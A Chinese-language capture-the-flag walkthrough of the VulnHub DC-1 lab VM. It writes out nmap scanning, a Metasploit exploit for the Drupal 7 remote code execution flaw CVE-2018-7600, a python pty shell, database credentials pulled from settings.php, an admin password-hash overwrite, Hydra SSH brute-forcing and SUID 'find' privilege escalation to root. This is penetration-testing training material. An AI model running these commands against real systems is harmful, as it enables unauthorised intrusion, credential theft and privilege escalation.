Vulnhub-DC-1

Vulnhub-DC-1

官方网址:Vulnerable By Design ~ VulnHub

Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战

DC-1

DC系列的靶机是一个专门构建的易受攻击的实验室,总共有九个,目的是获得渗透测试领域的经验

是对于初学者的一个小挑战,相当于精英小怪的意思,打倒这个前提是,具备Linux技能,熟悉常用命令行,以及kali中工具的使用和搭配,找到 flag 的方法不限于一种,可以开拓自己的思路,方便自己积累经验

很多初学者可能会有无从下手的感觉,DC系列就能很好的帮你建立一个大致的思路,帮助我们来建立自己的渗透思路,很多环境我们可能都无法一次做出来,这就需要观看别人WP来为自己解惑,重要的是,理解大牛的思路,巩固自己的思路,不能为了解题而解题

DC: 1 ~ VulnHub 靶机下载地址

image-20230409105902906

下载完成后,得到DC-1.ova文件,直接双击,VMware会直接弹出

image-20230409110254184

导入成功后,直接开启,开启成功后,如图

image-20230409110846858

环境介绍

靶机:Vulnhub DC-1

​ IP:未知

攻击机:kali

​ IP:192.168.199.134

任务简介

​ 5个flag

任务分析

这个时候就是我们活跃思维的时间,针对于DC-1,我们应该从哪一步入手,应该干什么,需要做到什么,运用什么工具,来实现我们所需要的结果

目前,由于IP都不知道,第一步所需要做的肯定就是发现敌方所在位置,然后在根据目标,进行探测,信息收集,决定下一步所需要的战略

任务过程

发现目标ip

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scan -l

image-20230409130441061

nmap -sn 

image-20230410091533072

netdiscover -i eth0 -r 192.168.199.0/24

image-20230410093915353

目标IP确定为 192.168.199.139

发现目标ip开放端口

nmap -sV -p- 192.168.199.139
-sV 扫描目标主机端口上服务的版本信息
-p- -p指定端口 -p- 扫描全部端口 0-65535

image-20230410094542119

22端口的ssh可以尝试 root 用户的密码爆破

80端口的网页先进行信息收集

web页面信息收集

在进入一个web页面以后,我的思路就是查看web所使用的CMS,然后查看这个CMS是否存在漏洞、EXP 可以直接使用,并在这个查找的时间,测试目录遍历,看到登录框尝试SQL注入

image-20230410095337823

kali中目录遍历,我常用的就两个,dirbuster dirb 这两个中,我又比较偏向于dirbuster

kali的字典默认位置为:/usr/share/wordlists

web的CMS识别最简单的是使用插件 wappalyzer

image-20230410095919108

当然也可以使用kali中的whatweb

whatweb -v 192.168.199.139

image-20230410100159720

得到CMS为 Drupal 7 直接搜索这个CMS所对应的漏洞利用

最终确定为 CVE-2018-7600 Drupal 的远程代码执行漏洞

出现漏洞的位置为

$new_elements = call_user_func_array($callable,$args)
call_user_func_array 函数是调用第一个参数的函数 传入的参数数第二个参数数组
只需要控制$callable为要执行的函数名,$args 为参数就OK
这两个变量是从$elements[‘#lazy_builder’]中取得elements是从用户传来的post来的 变量可控

MSF一把唆

msfconsole
search Drupal
use 1

image-20230410163436649

run

image-20230410163811754

shell 获取普通shell
python -c 'import pty; pty.spawn("/bin/bash")'		获取交互式shell

发现flag1

image-20230410163933791

查看flag1

image-20230410164043062

每个好的CMS都需要一个配置文件——你也是

根据提示查看Drupal 的配置文件 百度后 配置文件名称为 settings.php

cat `find / -name settings.php`

image-20230410164759750

得到了,flag2和数据库的账号密码

登陆数据库

mysql -udbuser -pR0ck3t

image-20230411093352689

show datebases;

image-20230411093528075

use drupaldb
show tables;

image-20230411093735876
可以使用常规的查询语句,但是这个表太长,有点不美观费眼睛,我增加了/G使表格变成纵向

select * from users\G;

image-20230411094006949
admin的密码加密了应该是某种hash,也不好直接解密。文件中可能有加密的文件,可以找找,如果没有就需要百度 Drupal忘记密码 一系列的问题,尝试解决

find . -name “*hash*” 

image-20230411101846604

php /var/www/scripts/password-hash.sh 123456
password:123456
hash:$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv
update users set pass="$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name='admin';

image-20230411110643261

web页面登陆

image-20230411111740811

有搜索框,直接搜索flag,没搜到,这个捷径走不了,只能慢慢翻找有用信息了

image-20230411112239642

image-20230411112259445

提示了 passwdshadow 文件

/etc/passwd		系统用户的基本信息
/etc/shadow		系统用户的密码等信息,只有root权限用户才能读取

image-20230411120120212

发现 flag4 的用户,可以尝试爆破,或者提权查看 shadow 文件

使用 Hydra挂着爆破 flag4 的密码

hydra -l flag4 -P /usr/share/wordlists/fasttrack.txt ssh://192.168.199.139

image-20230411121227130

Linux提权

提示中还有 find ,可以想一下 SUID 提权

利用 find 命令,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null
find指令
/根目录(查找位置)
-perm 权限
-u 用户
s 特权
-type 类型
f 文件
2>dev/null  过滤错误信息

image-20230411121149340

尝试 find 提权

find / -name flag4.txt -exec "/bin/bash" -p \;
find / -name index.php -exec "/bin/sh" \;
查找的文件不重要(是存在的文件就行),只需要格式对,然后后面加上-exec "/bin/sh" \;
-p : 让 suid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 suid 和 uid 不匹配,会将 suid 强制重置为uid 
使用 -p 参数,则不会再覆盖。

image-20230411121506421

flag4

image-20230411122300973

查看最后一个flag

image-20230411121832084

总结

1.主机扫描

2.web信息收集

3.CMS漏洞查找及利用

4.Getshell

5.Linux

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值